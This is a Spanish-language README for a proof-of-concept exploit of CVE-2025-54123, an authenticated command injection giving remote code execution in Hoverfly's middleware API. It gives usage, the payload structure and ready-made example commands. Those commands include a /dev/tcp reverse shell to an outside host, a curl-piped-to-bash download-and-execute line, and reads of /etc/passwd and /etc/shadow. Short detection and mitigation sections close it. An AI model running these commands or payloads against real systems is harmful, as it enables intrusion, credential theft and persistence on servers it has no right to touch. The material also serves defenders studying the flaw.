## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KASEM545-CVE-2025-54123-POC
# Exploit CVE-2025-54123
Inyección de Comandos en Middleware Autenticado de Hoverfly RCE | CVSS 9.8 CRÍTICO
## Vulnerabilidad
Hoverfly <= 1.11.3 es vulnerable a inyección de comandos autenticada a través del endpoint `/api/v2/hoverfly/middleware`. Se requieren credenciales de administrador, pero una vez autenticado, la funcionalidad de middleware acepta valores binarios y de script proporcionados por el usuario sin validación, permitiendo la ejecución arbitraria de comandos.
## Cadena de Vulnerabilidad
1. **Validación de Entrada Insuficiente** \- `middleware.go` acepta rutas binarias arbitrarias
2. **Ejecución de Comandos No Segura** \- `local_middleware.go` pasa directamente la entrada del usuario a `exec.Command()`
3. **Ejecución Inmediata** \- `hoverfly_service.go` ejecuta el middleware durante la validación
## Requisitos
* Credenciales de administrador de Hoverfly válidas (usuario/contraseña)
* Acceso a la API de Administración de Hoverfly (puerto predeterminado 8888)
## Uso
root@kitploit:~
python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> -c <COMMAND> [--shell SHELL]
* `-t, --target` \- Hoverfly API endpoint (required)
* `-u, --username` \- Admin username (required)
* `-p, --password` \- Admin password (required)
* `-c, --command` \- Command to execute (required)
* `--shell` \- Shell binary to use (default: /bin/bash)
## Ejemplos
root@kitploit:~
# Basic command execution
python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami
# Read sensitive files
python3 exploit.py -t http://10.10.11.100:8888 -u admin -p pass123 -c "cat /etc/passwd"
# Reverse shell
python3 exploit.py -t http://target:8888 -u user -p secret -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Multi-command execution
python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "id; uname -a; pwd"
# Use different shell
python3 exploit.py -t http://victim:8888 -u root -p toor -c "cat /etc/shadow" --shell /bin/sh
# Download and execute payload
python3 exploit.py -t http://target:8888 -u admin -p pass -c "curl http://10.10.14.5/shell.sh | bash"
## Flujo de Ataque
1. El atacante se autentica con credenciales de administrador válidas (Autenticación Básica)
2. Envía una solicitud PUT a `/api/v2/hoverfly/middleware` con un payload malicioso
3. Hoverfly escribe el script en un archivo temporal `/tmp/hoverfly_<random>`
4. Durante la validación, ejecuta: `<shell> /tmp/hoverfly_<random>`
5. La salida del comando se devuelve en la sección STDOUT de la respuesta de error
6. El exploit extrae y muestra la salida
## Estructura del Payload
root@kitploit:~
{
"binary": "/bin/bash",
"script": "whoami"
}
Los encabezados HTTP incluyen:
root@kitploit:~
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/json
## Impacto
* **Ejecución Remota de Código Completa** con privilegios del proceso de Hoverfly
* **Robo de Credenciales** \- robar claves API, tokens, secretos
* **Pivote en Red Interna** \- comprometer sistemas adyacentes
* **Exfiltración de Datos** \- acceder a datos de simulación, configuraciones
* **Persistencia** \- instalar puertas traseras, mantener acceso
* **Interrupción del Servicio** \- modificar/eliminar configuraciones de middleware
## Ubicaciones de Código Vulnerable
* `core/middleware/middleware.go:94-96` \- Sin validación de entrada en el parámetro binario
* `core/middleware/local_middleware.go:14-19` \- Uso inseguro de exec.Command()
* `core/hoverfly_service.go:173` \- Ejecución inmediata durante la validación
## Versiones Afectadas
* Hoverfly <= 1.11.3
* Todas las instalaciones con API de Administración accesible y autenticación habilitada
## Detección
Busque:
* Solicitudes PUT a `/api/v2/hoverfly/middleware`
* Respuestas de error que contengan "STDOUT:" con salida de comandos
* Archivos temporales en `/tmp/hoverfly/`
* Ejecuciones de procesos inusuales del servicio hoverfly
## Mitigación
* Actualizar a la versión parcheada (si está disponible)
* Restringir el acceso a la API de Administración solo a IPs de confianza
* Usar credenciales de autenticación sólidas
* Monitorear el acceso al endpoint `/api/v2/hoverfly/middleware`
* Implementar validación de entrada en los parámetros binario/script
## Referencias
* CVE-2025-54123
* CWE-78 (Inyección de Comandos del SO)
* CWE-20 (Validación de Entrada Incorrecta)
* GHSA-r4h8-hfp2-ggmf
* https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf
* https://nvd.nist.gov/vuln/detail/CVE-2025-54123
## Créditos
Descubrimiento original: @Kr1shna4garwal